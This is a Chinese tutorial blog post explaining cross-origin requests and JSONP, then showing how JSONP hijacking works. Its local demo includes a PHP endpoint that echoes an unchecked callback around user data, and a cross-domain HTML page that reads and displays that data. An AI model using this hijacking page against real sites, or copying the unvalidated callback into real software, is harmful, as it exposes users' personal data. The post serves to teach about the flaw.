零、前言
之前一直对跨域这个概念很模糊,现在打算来学习一番,增加自己的知识面,顺便结合JSONP劫持漏洞来梳理一下
参考文章:
一、基本概念
什么是跨域请求?
在 HTML 中,
<a>
,<form>
,<img>
,<script>
,<iframe>
,<link>
等标签以及 Ajax 都可以指向一个资源地址,而所谓的跨域请求就是指:当前发起请求的域与该请求指向的资源所在的域不一样。我们认为若协议+域名+端口号是一样的就是同域。
既然要说到JSONP,那就顺便提一下JSON吧
JSON是一种轻量级的数据传输格式,被广泛应用于当前Web应用中。JSON格式数据的编码和解析基本在所有主流语言中都被实现,所以现在大部分前后端分离的架构都以JSON格式进行数据的传输。
那么什么是JSONP?
由于现代浏览器使用了同源策略,即不允许访问非同源的页面。在ajax中,不允许请求非同源的页面,即处于www.a.com的页面不允许访问www.b.com/a.php的页面,而JSONP就是为了解决跨域请求问题的。
二、JSONP原理
ajax请求受同源策略影响,不允许进行跨域请求,而script标签src属性中的链接却可以访问跨域的js脚本,例如<script src="www.b.com/a.php"></script>
,利用这个特性,服务端不再返回JSON格式的数据,而是返回一段调用某个函数的js代码,在拼接的js代码中加上了被请求的数据,从而调用跨域服务器上动态生成的js代码,也达到了跨域请求的目的,获得自己想要的数据
获取远程数据的方式看起来非常像AJAX,但其实并不一样,ajax的核心是通过XmlHttpRequest获取非本页内容,而jsonp的核心则是动态添加<script>
标签来调用服务器提供的js脚本。
为了便于客户端使用数据,逐渐形成了一种非正式传输协议,人们把它称作JSONP,该协议的一个要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
下面的例子就是JSONP的调用方式,Jquery在处理Jsonp类型的Ajax时,会自动生成flightHandler回调函数,并取出数据供success属性方法来调用
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<title>Untitled Page</title>
<script type="text/javascript" src=jquery.min.js"></script>
<script type="text/javascript">
jQuery(document).ready(function(){ $.ajax({
type: "get",
async: false,
url: "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998",
dataType: "jsonp",
jsonp: "callback",//传递给请求处理程序或页面的,用以获得jsonp回调函数名的参数名(一般默认为:callback)
jsonpCallback:"flightHandler",//自定义的jsonp回调函数名称,默认为jQuery自动生成的随机函数名,也可以写"?",jQuery会自动为你处理数据
success: function(json){
alert('您查询到航班信息:票价: ' + json.price + ' 元,余票: ' + json.tickets + ' 张。');
},
error: function(){
alert('fail');
}
});
});
</script>
</head>
<body>
</body>
</html>
本质上,它的原理和下面的例子是一样的,与上面的例子不同的是,动态生成的js代码的位置不同了,下面的例子在同一个页面生成,上面的例子在跨域服务器上生成
<script type="text/javascript">
// 得到航班信息查询结果后的回调函数
var flightHandler = function(data){
alert('你查询的航班结果是:票价 ' + data.price + ' 元,' + '余票 ' + data.tickets + ' 张。');
};
// 提供jsonp服务的url地址(不管是什么类型的地址,最终生成的返回值都是一段javascript代码)
var url = "http://flightQuery.com/jsonp/flightResult.aspx?code=CA1998&callback=flightHandler";
// 创建script标签,设置其属性
var script = document.createElement('script');
script.setAttribute('src', url);
// 把script标签加入head,此时调用开始
document.getElementsByTagName('head')[0].appendChild(script);
</script>
而跨域服务器返回的js代码长这样,和后端语言无关,本质上就是拼接字符串
<?php
$data = array(
'price' => '20',
'tickets' => '100',
);
$callback = $_GET['callback'];
echo $callback."(".json_encode($data).")";
return;
?>
三、JSONP劫持
成因
厂商没有对jsonp请求进行检验和过滤,导致任意域都能获取到数据,可能会泄露敏感信息
本地复现
为了更好的理解,还是上手操作一下吧
a.html
<!DOCTYPE html>
<html lang="zh">
<head>
<title>JSONP劫持</title>
</head>
<body>
<h2>JSONP劫持</h2>
<script>
function 回调函数的名字(data){
alert(JSON.stringify(data));
}
</script>
<script src="存在漏洞的网页"></script>
</body>
</html>
自己构造一个有漏洞的php页面(就用上面的例子好了233)
api.php
<?php
$data = array(
'username' => 'xiaoming',
'phone' => '123456',
);
$callback = $_GET['callback'];
echo $callback."(".json_encode($data).")";
return;
?>
而我们遇到的有漏洞的网页类似于http://xxxx.com/xxx/xxxx?callback=abcd
那么回调函数的名字就是abcd
<!DOCTYPE html>
<html lang="zh">
<head>
<title>JSONP劫持</title>
</head>
<body>
<h2>JSONP劫持</h2>
<script>
function abcd(data){
alert(JSON.stringify(data));
}
</script>
<script src="http://xxxx.com/xxx/xxxx?callback=abcd"></script>
</body>
</html>
api.php返回的js代码:
JSONP劫持后,本地显示
- 本文链接:http://siii0.github.io/jsonp/
- 版权声明:本博客所有文章除特别声明外,均默认采用 许可协议。